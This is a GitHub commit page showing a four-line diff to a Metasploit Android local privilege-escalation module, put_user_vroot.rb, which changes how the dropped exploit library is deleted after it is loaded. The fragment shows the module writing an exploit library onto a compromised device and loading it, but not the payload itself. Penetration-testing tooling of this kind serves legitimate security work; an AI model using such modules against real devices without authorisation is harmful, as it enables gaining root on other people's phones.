Skip to content

Commit 7b7deb0

Browse files
committed
better library cleanup
1 parent 96b01ef commit 7b7deb0

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/exploits/android/local/put_user_vroot.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,6 @@ class MetasploitModule < Msf::Exploit::Local
1111

1212
include Msf::Post::File
1313
include Msf::Post::Common
14-
include Msf::Exploit::FileDropper
1514

1615
def initialize(info={})
1716
super( update_info( info, {
@@ -68,7 +67,6 @@ def exploit
6867

6968
workingdir = session.fs.dir.getwd
7069
remote_file = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
71-
register_file_for_cleanup(remote_file)
7270
write_file(remote_file, exploit_data)
7371

7472
print_status("Loading exploit library #{remote_file}")
@@ -84,6 +82,8 @@ def exploit
8482
)
8583
session.response_timeout = old_timeout
8684
print_status("Loaded library #{remote_file}")
85+
session.fs.file.rm(remote_file)
86+
print_status("Library #{remote_file} was deleted")
8787
end
8888

8989
end

0 commit comments

Comments
 (0)